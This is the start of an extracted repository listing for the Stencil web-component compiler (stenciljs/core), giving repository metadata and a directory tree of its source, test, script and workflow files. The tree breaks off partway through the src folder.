Showing preview only (7,324K chars total). Download the full file or copy to clipboard to get everything.
Repository: stenciljs/core
Branch: main
Commit: 05d12e595fd8
Files: 2067
Total size: 6.6 MB
Directory structure:
gitextract_je5y8jxz/
├── .editorconfig
├── .eslintrc.js
├── .gitattributes
├── .github/
│ ├── CODEOWNERS
│ ├── CONTRIBUTING.md
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.yml
│ │ ├── config.yml
│ │ └── feature_request.yml
│ ├── ISSUE_TEMPLATE.md
│ ├── PULL_REQUEST_TEMPLATE.md
│ ├── SECURITY.md
│ ├── ionic-issue-bot.yml
│ ├── reproduire/
│ │ └── needs-reproduction.md
│ └── workflows/
│ ├── README.md
│ ├── actions/
│ │ ├── check-git-context/
│ │ │ └── action.yml
│ │ ├── download-archive/
│ │ │ └── action.yml
│ │ ├── get-core-dependencies/
│ │ │ └── action.yml
│ │ └── upload-archive/
│ │ └── action.yml
│ ├── build.yml
│ ├── create-production-pr.yml
│ ├── lint-and-format.yml
│ ├── main.yml
│ ├── publish-npm.yml
│ ├── release-dev.yml
│ ├── release-nightly.yml
│ ├── release-orchestrator.yml
│ ├── release-production.yml
│ ├── reproduire.yml
│ ├── test-analysis.yml
│ ├── test-bundlers.yml
│ ├── test-component-starter.yml
│ ├── test-copytask.yml
│ ├── test-docs-build.yml
│ ├── test-e2e.yml
│ ├── test-types.yml
│ ├── test-unit.yml
│ └── test-wdio.yml
├── .gitignore
├── .npmrc
├── .nvmrc
├── .prettierignore
├── BREAKING_CHANGES.md
├── CHANGELOG.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE.md
├── RELEASE.md
├── STYLE_GUIDE.md
├── bin/
│ └── stencil
├── cspell-code.json
├── cspell-markdown.json
├── cspell-wordlist.txt
├── docs/
│ ├── README.md
│ ├── cli.md
│ ├── compiler.md
│ ├── declarations.md
│ ├── dev-server.md
│ ├── hydrate.md
│ ├── mock-doc.md
│ ├── runtime.md
│ ├── screenshot-deprecated.md
│ ├── scripts.md
│ └── testing-deprecated.md
├── jest.config.js
├── package.json
├── readme.md
├── screenshot/
│ ├── compare/
│ │ ├── build/
│ │ │ ├── app.css
│ │ │ ├── app.esm.js
│ │ │ ├── app.js
│ │ │ ├── index.esm.js
│ │ │ ├── p-081b0641.js
│ │ │ ├── p-227a1e18.entry.js
│ │ │ ├── p-2c298727.entry.js
│ │ │ ├── p-5479268c.entry.js
│ │ │ ├── p-573ec8a4.entry.js
│ │ │ ├── p-6ba08604.entry.js
│ │ │ ├── p-6bc63295.entry.js
│ │ │ ├── p-7a3759fd.entry.js
│ │ │ ├── p-7b4e3ba7.js
│ │ │ ├── p-988eb362.css
│ │ │ ├── p-9b6a9315.js
│ │ │ ├── p-b4cc611c.entry.js
│ │ │ ├── p-d1bf53f5.entry.js
│ │ │ ├── p-e2efe0df.js
│ │ │ ├── p-e8ca6d97.entry.js
│ │ │ ├── p-ec2f13e0.entry.js
│ │ │ ├── p-f0b99977.entry.js
│ │ │ ├── p-f4745c2f.entry.js
│ │ │ └── p-fbbae598.js
│ │ ├── host.config.json
│ │ ├── index.html
│ │ └── manifest.json
│ ├── connector.js
│ └── local-connector.js
├── scripts/
│ ├── build.ts
│ ├── esbuild/
│ │ ├── cli.ts
│ │ ├── compiler.ts
│ │ ├── dev-server.ts
│ │ ├── helpers/
│ │ │ ├── empty.js
│ │ │ ├── import-meta-url.js
│ │ │ ├── jest/
│ │ │ │ ├── jest-environment.js
│ │ │ │ ├── jest-preprocessor.js
│ │ │ │ ├── jest-preset.js
│ │ │ │ ├── jest-runner.js
│ │ │ │ └── jest-setuptestframework.js
│ │ │ ├── lazy-require.js
│ │ │ └── path-is-absolute.js
│ │ ├── internal-app-data.ts
│ │ ├── internal-app-globals.ts
│ │ ├── internal-platform-client.ts
│ │ ├── internal-platform-hydrate.ts
│ │ ├── internal-platform-testing.ts
│ │ ├── internal.ts
│ │ ├── mock-doc.ts
│ │ ├── screenshot.ts
│ │ ├── sys-node.ts
│ │ ├── testing.ts
│ │ └── utils/
│ │ ├── alias-plugin.ts
│ │ ├── content-types.ts
│ │ ├── index.ts
│ │ ├── parse5.ts
│ │ ├── terser.ts
│ │ └── typescript-source.ts
│ ├── index.ts
│ ├── release-tasks.ts
│ ├── release.ts
│ ├── test/
│ │ ├── copy-readme.js
│ │ ├── validate-build.ts
│ │ └── validate-testing.js
│ ├── tsconfig.json
│ ├── types/
│ │ └── rollup-plugin-node-resolve.d.ts
│ ├── updateSelectorEngine.ts
│ └── utils/
│ ├── banner.ts
│ ├── bundle-dts.ts
│ ├── constants.ts
│ ├── conventional-changelog-config.js
│ ├── options.ts
│ ├── postcss-bundle
│ ├── postcss-rollup.js
│ ├── release-utils.ts
│ ├── test/
│ │ ├── options.spec.ts
│ │ └── release-utils.spec.ts
│ ├── vermoji.ts
│ └── write-pkg-json.ts
├── src/
│ ├── app-data/
│ │ └── index.ts
│ ├── app-globals/
│ │ └── index.ts
│ ├── cli/
│ │ ├── check-version.ts
│ │ ├── config-flags.ts
│ │ ├── find-config.ts
│ │ ├── index.ts
│ │ ├── ionic-config.ts
│ │ ├── load-compiler.ts
│ │ ├── logs.ts
│ │ ├── parse-flags.ts
│ │ ├── public.ts
│ │ ├── run.ts
│ │ ├── task-build.ts
│ │ ├── task-docs.ts
│ │ ├── task-generate.ts
│ │ ├── task-help.ts
│ │ ├── task-info.ts
│ │ ├── task-prerender.ts
│ │ ├── task-serve.ts
│ │ ├── task-telemetry.ts
│ │ ├── task-test.ts
│ │ ├── task-watch.ts
│ │ ├── telemetry/
│ │ │ ├── helpers.ts
│ │ │ ├── shouldTrack.ts
│ │ │ ├── telemetry.ts
│ │ │ └── test/
│ │ │ ├── helpers.spec.ts
│ │ │ └── telemetry.spec.ts
│ │ └── test/
│ │ ├── ionic-config.spec.ts
│ │ ├── parse-flags.spec.ts
│ │ ├── run.spec.ts
│ │ └── task-generate.spec.ts
│ ├── client/
│ │ ├── client-build.ts
│ │ ├── client-host-ref.ts
│ │ ├── client-load-module.ts
│ │ ├── client-log.ts
│ │ ├── client-patch-browser.ts
│ │ ├── client-style.ts
│ │ ├── client-task-queue.ts
│ │ ├── client-window.ts
│ │ ├── index.ts
│ │ └── polyfills/
│ │ ├── core-js.js
│ │ ├── dom.js
│ │ ├── es5-html-element.js
│ │ ├── index.js
│ │ └── system.js
│ ├── compiler/
│ │ ├── app-core/
│ │ │ ├── app-data.ts
│ │ │ ├── app-es5-disabled.ts
│ │ │ ├── app-polyfills.ts
│ │ │ └── bundle-app-core.ts
│ │ ├── build/
│ │ │ ├── build-ctx.ts
│ │ │ ├── build-finish.ts
│ │ │ ├── build-hmr.ts
│ │ │ ├── build-results.ts
│ │ │ ├── build-stats.ts
│ │ │ ├── build.ts
│ │ │ ├── compiler-ctx.ts
│ │ │ ├── full-build.ts
│ │ │ ├── test/
│ │ │ │ ├── build-stats.spec.ts
│ │ │ │ └── write-export-maps.spec.ts
│ │ │ ├── validate-files.ts
│ │ │ ├── watch-build.ts
│ │ │ ├── write-build.ts
│ │ │ └── write-export-maps.ts
│ │ ├── bundle/
│ │ │ ├── app-data-plugin.ts
│ │ │ ├── bundle-interface.ts
│ │ │ ├── bundle-output.ts
│ │ │ ├── constants.ts
│ │ │ ├── core-resolve-plugin.ts
│ │ │ ├── dev-module.ts
│ │ │ ├── dev-node-module-resolve.ts
│ │ │ ├── entry-alias-ids.ts
│ │ │ ├── ext-format-plugin.ts
│ │ │ ├── ext-transforms-plugin.ts
│ │ │ ├── file-load-plugin.ts
│ │ │ ├── loader-plugin.ts
│ │ │ ├── plugin-helper.ts
│ │ │ ├── server-plugin.ts
│ │ │ ├── test/
│ │ │ │ ├── app-data-plugin.spec.ts
│ │ │ │ ├── core-resolve-plugin.spec.ts
│ │ │ │ └── ext-transforms-plugin.spec.ts
│ │ │ ├── typescript-plugin.ts
│ │ │ ├── user-index-plugin.ts
│ │ │ └── worker-plugin.ts
│ │ ├── cache.ts
│ │ ├── compiler.ts
│ │ ├── config/
│ │ │ ├── config-utils.ts
│ │ │ ├── constants.ts
│ │ │ ├── load-config.ts
│ │ │ ├── outputs/
│ │ │ │ ├── index.ts
│ │ │ │ ├── validate-collection.ts
│ │ │ │ ├── validate-custom-element.ts
│ │ │ │ ├── validate-custom-output.ts
│ │ │ │ ├── validate-dist.ts
│ │ │ │ ├── validate-docs.ts
│ │ │ │ ├── validate-hydrate-script.ts
│ │ │ │ ├── validate-lazy.ts
│ │ │ │ ├── validate-stats.ts
│ │ │ │ └── validate-www.ts
│ │ │ ├── test/
│ │ │ │ ├── fixtures/
│ │ │ │ │ ├── stencil.config.ts
│ │ │ │ │ └── stencil.config2.ts
│ │ │ │ ├── load-config.spec.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ ├── validate-config-sourcemap.spec.ts
│ │ │ │ ├── validate-config.spec.ts
│ │ │ │ ├── validate-copy.spec.ts
│ │ │ │ ├── validate-custom.spec.ts
│ │ │ │ ├── validate-dev-server.spec.ts
│ │ │ │ ├── validate-docs.spec.ts
│ │ │ │ ├── validate-hydrated.spec.ts
│ │ │ │ ├── validate-namespace.spec.ts
│ │ │ │ ├── validate-output-dist-collection.spec.ts
│ │ │ │ ├── validate-output-dist-custom-element.spec.ts
│ │ │ │ ├── validate-output-dist.spec.ts
│ │ │ │ ├── validate-output-www.spec.ts
│ │ │ │ ├── validate-paths.spec.ts
│ │ │ │ ├── validate-rollup-config.spec.ts
│ │ │ │ ├── validate-service-worker.spec.ts
│ │ │ │ ├── validate-stats.spec.ts
│ │ │ │ ├── validate-testing.spec.ts
│ │ │ │ └── validate-workers.spec.ts
│ │ │ ├── transpile-options.ts
│ │ │ ├── validate-config.ts
│ │ │ ├── validate-copy.ts
│ │ │ ├── validate-dev-server.ts
│ │ │ ├── validate-docs.ts
│ │ │ ├── validate-hydrated.ts
│ │ │ ├── validate-namespace.ts
│ │ │ ├── validate-paths.ts
│ │ │ ├── validate-plugins.ts
│ │ │ ├── validate-prerender.ts
│ │ │ ├── validate-rollup-config.ts
│ │ │ ├── validate-service-worker.ts
│ │ │ ├── validate-testing.ts
│ │ │ └── validate-workers.ts
│ │ ├── docs/
│ │ │ ├── cem/
│ │ │ │ └── index.ts
│ │ │ ├── constants.ts
│ │ │ ├── custom/
│ │ │ │ └── index.ts
│ │ │ ├── generate-doc-data.ts
│ │ │ ├── json/
│ │ │ │ └── index.ts
│ │ │ ├── readme/
│ │ │ │ ├── docs-util.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── markdown-css-props.ts
│ │ │ │ ├── markdown-custom-states.ts
│ │ │ │ ├── markdown-dependencies.ts
│ │ │ │ ├── markdown-events.ts
│ │ │ │ ├── markdown-methods.ts
│ │ │ │ ├── markdown-overview.ts
│ │ │ │ ├── markdown-parts.ts
│ │ │ │ ├── markdown-props.ts
│ │ │ │ ├── markdown-slots.ts
│ │ │ │ ├── markdown-usage.ts
│ │ │ │ └── output-docs.ts
│ │ │ ├── style-docs.ts
│ │ │ ├── test/
│ │ │ │ ├── custom-elements-manifest.spec.ts
│ │ │ │ ├── docs-util.spec.ts
│ │ │ │ ├── generate-doc-data.spec.ts
│ │ │ │ ├── markdown-dependencies.spec.ts
│ │ │ │ ├── markdown-overview.spec.ts
│ │ │ │ ├── markdown-props.spec.ts
│ │ │ │ ├── output-docs.spec.ts
│ │ │ │ ├── style-docs.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ └── vscode/
│ │ │ └── index.ts
│ │ ├── entries/
│ │ │ ├── component-bundles.ts
│ │ │ ├── component-graph.ts
│ │ │ ├── default-bundles.ts
│ │ │ └── resolve-component-dependencies.ts
│ │ ├── events.ts
│ │ ├── fs-watch/
│ │ │ └── fs-watch-rebuild.ts
│ │ ├── html/
│ │ │ ├── add-script-attr.ts
│ │ │ ├── canonical-link.ts
│ │ │ ├── html-utils.ts
│ │ │ ├── inject-module-preloads.ts
│ │ │ ├── inject-sw-script.ts
│ │ │ ├── inline-esm-import.ts
│ │ │ ├── inline-style-sheets.ts
│ │ │ ├── relocate-meta-charset.ts
│ │ │ ├── remove-unused-styles.ts
│ │ │ ├── test/
│ │ │ │ ├── remove-unused-styles.spec.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ └── update-esm-import-paths.spec.ts
│ │ │ ├── update-global-styles-link.ts
│ │ │ ├── used-components.ts
│ │ │ └── validate-manifest-json.ts
│ │ ├── index.ts
│ │ ├── optimize/
│ │ │ ├── autoprefixer.ts
│ │ │ ├── minify-css.ts
│ │ │ ├── minify-js.ts
│ │ │ ├── optimize-css.ts
│ │ │ ├── optimize-js.ts
│ │ │ └── optimize-module.ts
│ │ ├── output-targets/
│ │ │ ├── copy/
│ │ │ │ ├── assets-copy-tasks.ts
│ │ │ │ ├── hashed-copy.ts
│ │ │ │ ├── local-copy-tasks.ts
│ │ │ │ └── output-copy.ts
│ │ │ ├── dist-collection/
│ │ │ │ └── index.ts
│ │ │ ├── dist-custom-elements/
│ │ │ │ ├── custom-elements-build-conditionals.ts
│ │ │ │ ├── custom-elements-types.ts
│ │ │ │ ├── generate-loader-module.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── test/
│ │ │ │ └── dist-custom-elements.spec.ts
│ │ │ ├── dist-hydrate-script/
│ │ │ │ ├── bundle-hydrate-factory.ts
│ │ │ │ ├── generate-hydrate-app.ts
│ │ │ │ ├── hydrate-build-conditionals.ts
│ │ │ │ ├── hydrate-factory-closure.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── relocate-hydrate-context.ts
│ │ │ │ ├── test/
│ │ │ │ │ └── dist-hydrate-script.spec.ts
│ │ │ │ ├── update-to-hydrate-components.ts
│ │ │ │ └── write-hydrate-outputs.ts
│ │ │ ├── dist-lazy/
│ │ │ │ ├── generate-cjs.ts
│ │ │ │ ├── generate-esm-browser.ts
│ │ │ │ ├── generate-esm.ts
│ │ │ │ ├── generate-lazy-module.ts
│ │ │ │ ├── generate-system.ts
│ │ │ │ ├── lazy-build-conditionals.ts
│ │ │ │ ├── lazy-bundleid-plugin.ts
│ │ │ │ ├── lazy-component-plugin.ts
│ │ │ │ ├── lazy-output.ts
│ │ │ │ ├── test/
│ │ │ │ │ └── generate-lazy-module.spec.ts
│ │ │ │ └── write-lazy-entry-module.ts
│ │ │ ├── empty-dir.ts
│ │ │ ├── index.ts
│ │ │ ├── output-custom.ts
│ │ │ ├── output-docs.ts
│ │ │ ├── output-lazy-loader.ts
│ │ │ ├── output-service-workers.ts
│ │ │ ├── output-types.ts
│ │ │ ├── output-www.ts
│ │ │ ├── readme.md
│ │ │ └── test/
│ │ │ ├── build-conditionals.spec.ts
│ │ │ ├── custom-elements-types.spec.ts
│ │ │ ├── output-lazy-loader.spec.ts
│ │ │ ├── output-targets-collection.spec.ts
│ │ │ ├── output-targets-dist-custom-elements.spec.ts
│ │ │ ├── output-targets-dist.spec.ts
│ │ │ ├── output-targets-www-dist.spec.ts
│ │ │ ├── output-targets-www.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── plugin/
│ │ │ ├── plugin.ts
│ │ │ └── test/
│ │ │ ├── plugin.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── prerender/
│ │ │ ├── crawl-urls.ts
│ │ │ ├── prerender-config.ts
│ │ │ ├── prerender-hydrate-options.ts
│ │ │ ├── prerender-main.ts
│ │ │ ├── prerender-optimize.ts
│ │ │ ├── prerender-queue.ts
│ │ │ ├── prerender-template-html.ts
│ │ │ ├── prerender-worker-ctx.ts
│ │ │ ├── prerender-worker.ts
│ │ │ ├── prerendered-write-path.ts
│ │ │ ├── robots-txt.ts
│ │ │ ├── sitemap-xml.ts
│ │ │ └── test/
│ │ │ ├── crawl-urls.spec.ts
│ │ │ ├── prerender-optimize.spec.ts
│ │ │ ├── prerendered-write-path.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── public.ts
│ │ ├── service-worker/
│ │ │ ├── generate-sw.ts
│ │ │ ├── service-worker-util.ts
│ │ │ └── test/
│ │ │ ├── service-worker-util.spec.ts
│ │ │ ├── service-worker.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── style/
│ │ │ ├── css-imports.ts
│ │ │ ├── css-parser/
│ │ │ │ ├── css-parse-declarations.ts
│ │ │ │ ├── get-css-selectors.ts
│ │ │ │ ├── parse-css.ts
│ │ │ │ ├── readme.md
│ │ │ │ ├── serialize-css.ts
│ │ │ │ ├── test/
│ │ │ │ │ ├── css-nesting.spec.ts
│ │ │ │ │ ├── escaped-selectors.spec.ts
│ │ │ │ │ ├── get-selectors.spec.ts
│ │ │ │ │ ├── minify-css.spec.ts
│ │ │ │ │ └── parse-serialize.spec.ts
│ │ │ │ └── used-selectors.ts
│ │ │ ├── css-to-esm.ts
│ │ │ ├── global-styles.ts
│ │ │ ├── normalize-styles.ts
│ │ │ ├── optimize-css.ts
│ │ │ ├── scope-css.ts
│ │ │ ├── style-utils.ts
│ │ │ └── test/
│ │ │ ├── build-conditionals.spec.ts
│ │ │ ├── css-imports.spec.ts
│ │ │ ├── css-to-esm.spec.ts
│ │ │ ├── optimize-css.spec.ts
│ │ │ ├── style-rebuild.spec.ts
│ │ │ ├── style.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── sys/
│ │ │ ├── config.ts
│ │ │ ├── environment.ts
│ │ │ ├── fetch/
│ │ │ │ ├── fetch-module-async.ts
│ │ │ │ ├── fetch-module-sync.ts
│ │ │ │ ├── fetch-utils.ts
│ │ │ │ ├── tests/
│ │ │ │ │ └── fetch-module.spec.ts
│ │ │ │ └── write-fetch-success.ts
│ │ │ ├── in-memory-fs.ts
│ │ │ ├── node-require.ts
│ │ │ ├── resolve/
│ │ │ │ ├── resolve-module-async.ts
│ │ │ │ ├── resolve-module-sync.ts
│ │ │ │ ├── resolve-utils.ts
│ │ │ │ └── tests/
│ │ │ │ └── resolve-module.spec.ts
│ │ │ ├── stencil-sys.ts
│ │ │ ├── tests/
│ │ │ │ ├── in-memory-fs.spec.ts
│ │ │ │ └── stencil-sys.spec.ts
│ │ │ ├── typescript/
│ │ │ │ ├── tests/
│ │ │ │ │ ├── typescript-config.spec.ts
│ │ │ │ │ ├── typescript-resolve-module.spec.ts
│ │ │ │ │ └── typescript-sys.spec.ts
│ │ │ │ ├── typescript-config.ts
│ │ │ │ ├── typescript-resolve-module.ts
│ │ │ │ └── typescript-sys.ts
│ │ │ └── worker/
│ │ │ └── sys-worker.ts
│ │ ├── transformers/
│ │ │ ├── add-component-meta-proxy.ts
│ │ │ ├── add-component-meta-static.ts
│ │ │ ├── add-imports.ts
│ │ │ ├── add-static-style.ts
│ │ │ ├── add-tag-transform.ts
│ │ │ ├── automatic-key-insertion/
│ │ │ │ ├── automatic-key-insertion.spec.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── utils.ts
│ │ │ ├── collections/
│ │ │ │ ├── add-external-import.ts
│ │ │ │ ├── parse-collection-components.ts
│ │ │ │ ├── parse-collection-manifest.ts
│ │ │ │ └── parse-collection-module.ts
│ │ │ ├── component-build-conditionals.ts
│ │ │ ├── component-hydrate/
│ │ │ │ ├── hydrate-component.ts
│ │ │ │ ├── hydrate-runtime-cmp-meta.ts
│ │ │ │ └── tranform-to-hydrate-component.ts
│ │ │ ├── component-lazy/
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── constants.ts
│ │ │ │ ├── lazy-component.ts
│ │ │ │ ├── lazy-constructor.ts
│ │ │ │ ├── lazy-element-getter.ts
│ │ │ │ └── transform-lazy-component.ts
│ │ │ ├── component-native/
│ │ │ │ ├── add-define-custom-element-function.ts
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── native-component.ts
│ │ │ │ ├── native-connected-callback.ts
│ │ │ │ ├── native-constructor.ts
│ │ │ │ ├── native-element-getter.ts
│ │ │ │ ├── native-meta.ts
│ │ │ │ ├── native-static-style.ts
│ │ │ │ ├── proxy-custom-element-function.ts
│ │ │ │ └── tranform-to-native-component.ts
│ │ │ ├── core-runtime-apis.ts
│ │ │ ├── create-event.ts
│ │ │ ├── decorators-to-static/
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── component-decorator.ts
│ │ │ │ ├── convert-decorators.ts
│ │ │ │ ├── decorator-utils.ts
│ │ │ │ ├── decorators-constants.ts
│ │ │ │ ├── element-decorator.ts
│ │ │ │ ├── event-decorator.ts
│ │ │ │ ├── import-alias-map.ts
│ │ │ │ ├── listen-decorator.ts
│ │ │ │ ├── method-decorator.ts
│ │ │ │ ├── prop-decorator.ts
│ │ │ │ ├── serialize-decorators.ts
│ │ │ │ ├── state-decorator.ts
│ │ │ │ ├── style-to-static.ts
│ │ │ │ └── watch-decorator.ts
│ │ │ ├── define-custom-element.ts
│ │ │ ├── detect-modern-prop-decls.ts
│ │ │ ├── host-data-transform.ts
│ │ │ ├── map-imports-to-path-aliases.ts
│ │ │ ├── reactive-handler-meta-transform.ts
│ │ │ ├── remove-collection-imports.ts
│ │ │ ├── remove-static-meta-properties.ts
│ │ │ ├── reserved-public-members.ts
│ │ │ ├── rewrite-aliased-paths.ts
│ │ │ ├── static-to-meta/
│ │ │ │ ├── attach-internals.ts
│ │ │ │ ├── call-expression.ts
│ │ │ │ ├── class-extension.ts
│ │ │ │ ├── class-methods.ts
│ │ │ │ ├── component.ts
│ │ │ │ ├── element-ref.ts
│ │ │ │ ├── encapsulation.ts
│ │ │ │ ├── events.ts
│ │ │ │ ├── form-associated.ts
│ │ │ │ ├── import.ts
│ │ │ │ ├── listeners.ts
│ │ │ │ ├── methods.ts
│ │ │ │ ├── parse-static.ts
│ │ │ │ ├── props.ts
│ │ │ │ ├── serializers.ts
│ │ │ │ ├── states.ts
│ │ │ │ ├── string-literal.ts
│ │ │ │ ├── styles.ts
│ │ │ │ ├── vdom.ts
│ │ │ │ ├── visitor.ts
│ │ │ │ └── watchers.ts
│ │ │ ├── stencil-import-path.ts
│ │ │ ├── style-imports.ts
│ │ │ ├── test/
│ │ │ │ ├── add-component-meta-proxy.spec.ts
│ │ │ │ ├── add-static-style.spec.ts
│ │ │ │ ├── add-tag-transform.spec.ts
│ │ │ │ ├── convert-decorators.spec.ts
│ │ │ │ ├── core-runtime-apis.spec.ts
│ │ │ │ ├── decorator-utils.spec.ts
│ │ │ │ ├── detect-modern-prop-decls.spec.ts
│ │ │ │ ├── fixtures/
│ │ │ │ │ ├── dessert.ts
│ │ │ │ │ └── meal-entry.ts
│ │ │ │ ├── functional-component-deps.spec.ts
│ │ │ │ ├── lazy-component.spec.ts
│ │ │ │ ├── map-imports-to-path-aliases.spec.ts
│ │ │ │ ├── native-component.spec.ts
│ │ │ │ ├── parse-attach-internals.spec.ts
│ │ │ │ ├── parse-comments.spec.ts
│ │ │ │ ├── parse-component-tags.spec.ts
│ │ │ │ ├── parse-component.spec.ts
│ │ │ │ ├── parse-deserializers.spec.ts
│ │ │ │ ├── parse-element.spec.ts
│ │ │ │ ├── parse-encapsulation.spec.ts
│ │ │ │ ├── parse-events.spec.ts
│ │ │ │ ├── parse-exportable-mixin.spec.ts
│ │ │ │ ├── parse-form-associated.spec.ts
│ │ │ │ ├── parse-import-path.spec.ts
│ │ │ │ ├── parse-listeners.spec.ts
│ │ │ │ ├── parse-methods.spec.ts
│ │ │ │ ├── parse-mixin.spec.ts
│ │ │ │ ├── parse-props.spec.ts
│ │ │ │ ├── parse-serializers.spec.ts
│ │ │ │ ├── parse-slot-assignment.spec.ts
│ │ │ │ ├── parse-states.spec.ts
│ │ │ │ ├── parse-styles.spec.ts
│ │ │ │ ├── parse-vdom.spec.ts
│ │ │ │ ├── parse-virtual-props.spec.ts
│ │ │ │ ├── parse-watch.spec.ts
│ │ │ │ ├── proxy-custom-element-function.spec.ts
│ │ │ │ ├── rewrite-aliased-paths.spec.ts
│ │ │ │ ├── transform-utils.spec.ts
│ │ │ │ ├── transpile.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ ├── type-library.spec.ts
│ │ │ │ └── utils.ts
│ │ │ ├── transform-utils.ts
│ │ │ ├── type-library.ts
│ │ │ ├── update-component-class.ts
│ │ │ └── update-stencil-core-import.ts
│ │ ├── transpile/
│ │ │ ├── create-build-program.ts
│ │ │ ├── create-watch-program.ts
│ │ │ ├── run-program.ts
│ │ │ ├── test/
│ │ │ │ ├── create-watch-program.spec.ts
│ │ │ │ └── run-program.spec.ts
│ │ │ ├── transpile-module.ts
│ │ │ ├── transpiled-module.ts
│ │ │ ├── ts-config.ts
│ │ │ └── validate-components.ts
│ │ ├── transpile.ts
│ │ ├── types/
│ │ │ ├── constants.ts
│ │ │ ├── generate-app-types.ts
│ │ │ ├── generate-component-types.ts
│ │ │ ├── generate-event-detail-types.ts
│ │ │ ├── generate-event-listener-types.ts
│ │ │ ├── generate-event-types.ts
│ │ │ ├── generate-method-types.ts
│ │ │ ├── generate-prop-types.ts
│ │ │ ├── generate-types.ts
│ │ │ ├── package-json-log-utils.ts
│ │ │ ├── stencil-types.ts
│ │ │ ├── tests/
│ │ │ │ ├── ComponentCompilerEvent.stub.ts
│ │ │ │ ├── ComponentCompilerMeta.stub.ts
│ │ │ │ ├── ComponentCompilerMethod.stub.ts
│ │ │ │ ├── ComponentCompilerProperty.stub.ts
│ │ │ │ ├── ComponentCompilerTypeReference.stub.ts
│ │ │ │ ├── ComponentCompilerVirtualProperty.stub.ts
│ │ │ │ ├── TypesImportData.stub.ts
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── generate-app-types.spec.ts.snap
│ │ │ │ ├── generate-app-types.spec.ts
│ │ │ │ ├── generate-component-types.spec.ts
│ │ │ │ ├── generate-event-detail-types.spec.ts
│ │ │ │ ├── generate-event-listener-types.spec.ts
│ │ │ │ ├── generate-event-types.spec.ts
│ │ │ │ ├── generate-method-types.spec.ts
│ │ │ │ ├── generate-prop-types.spec.ts
│ │ │ │ ├── stencil-types.spec.ts
│ │ │ │ ├── tsconfig.json
│ │ │ │ ├── validate-package-json.spec.ts
│ │ │ │ └── validate-primary-package-output-target.spec.ts
│ │ │ ├── types-utils.ts
│ │ │ ├── update-import-refs.ts
│ │ │ ├── validate-build-package-json.ts
│ │ │ └── validate-primary-package-output-target.ts
│ │ └── worker/
│ │ ├── main-thread.ts
│ │ └── worker-thread.ts
│ ├── declarations/
│ │ ├── child_process.ts
│ │ ├── index.ts
│ │ ├── readme.md
│ │ ├── stencil-ext-modules.d.ts
│ │ ├── stencil-private.ts
│ │ ├── stencil-public-compiler.ts
│ │ ├── stencil-public-docs.ts
│ │ └── stencil-public-runtime.ts
│ ├── dev-server/
│ │ ├── client/
│ │ │ ├── app-error.css
│ │ │ ├── app-error.ts
│ │ │ ├── events.ts
│ │ │ ├── hmr-components.ts
│ │ │ ├── hmr-external-styles.ts
│ │ │ ├── hmr-images.ts
│ │ │ ├── hmr-inline-styles.ts
│ │ │ ├── hmr-util.ts
│ │ │ ├── hmr-window.ts
│ │ │ ├── index.ts
│ │ │ ├── logger.ts
│ │ │ ├── progress.ts
│ │ │ ├── status.ts
│ │ │ └── test/
│ │ │ ├── hmr-util.spec.ts
│ │ │ └── status.spec.ts
│ │ ├── content-types-db.json
│ │ ├── dev-server-client/
│ │ │ ├── app-update.ts
│ │ │ ├── client-web-socket.ts
│ │ │ ├── index.ts
│ │ │ ├── init-dev-client.ts
│ │ │ └── test/
│ │ │ └── tsconfig.json
│ │ ├── dev-server-constants.ts
│ │ ├── dev-server-utils.ts
│ │ ├── index.ts
│ │ ├── open-in-browser.ts
│ │ ├── open-in-editor-api.ts
│ │ ├── open-in-editor.ts
│ │ ├── request-handler.ts
│ │ ├── serve-dev-client.ts
│ │ ├── serve-dev-node-module.ts
│ │ ├── serve-directory-index.ts
│ │ ├── serve-file.ts
│ │ ├── server-context.ts
│ │ ├── server-http.ts
│ │ ├── server-process.ts
│ │ ├── server-web-socket.ts
│ │ ├── server-worker-main.ts
│ │ ├── server-worker-thread.js
│ │ ├── ssr-request.ts
│ │ ├── templates/
│ │ │ ├── directory-index.html
│ │ │ └── initial-load.html
│ │ └── test/
│ │ ├── Diagnostic.stub.ts
│ │ ├── dev-server-utils.spec.ts
│ │ ├── req-handler.spec.ts
│ │ ├── server-http.spec.ts
│ │ ├── tsconfig.json
│ │ └── util.spec.ts
│ ├── hydrate/
│ │ ├── platform/
│ │ │ ├── h-async.ts
│ │ │ ├── hydrate-app.ts
│ │ │ ├── index.ts
│ │ │ ├── proxy-host-element.ts
│ │ │ └── test/
│ │ │ ├── __mocks__/
│ │ │ │ └── @app-globals/
│ │ │ │ └── index.ts
│ │ │ └── serialize-shadow-root-opts.spec.ts
│ │ └── runner/
│ │ ├── create-window.ts
│ │ ├── hydrate-factory.ts
│ │ ├── index.ts
│ │ ├── inspect-element.ts
│ │ ├── patch-dom-implementation.ts
│ │ ├── render-utils.ts
│ │ ├── render.ts
│ │ ├── runtime-log.ts
│ │ └── window-initialize.ts
│ ├── index.ts
│ ├── internal/
│ │ ├── default.ts
│ │ ├── index.ts
│ │ ├── readme.md
│ │ ├── stencil-core/
│ │ │ ├── index.cjs
│ │ │ ├── index.d.ts
│ │ │ ├── index.js
│ │ │ ├── jsx-dev-runtime.cjs
│ │ │ ├── jsx-dev-runtime.d.ts
│ │ │ ├── jsx-dev-runtime.js
│ │ │ ├── jsx-runtime.cjs
│ │ │ ├── jsx-runtime.d.ts
│ │ │ └── jsx-runtime.js
│ │ └── testing/
│ │ ├── jsx-dev-runtime.d.ts
│ │ ├── jsx-dev-runtime.js
│ │ ├── jsx-runtime.d.ts
│ │ └── jsx-runtime.js
│ ├── mock-doc/
│ │ ├── attribute.ts
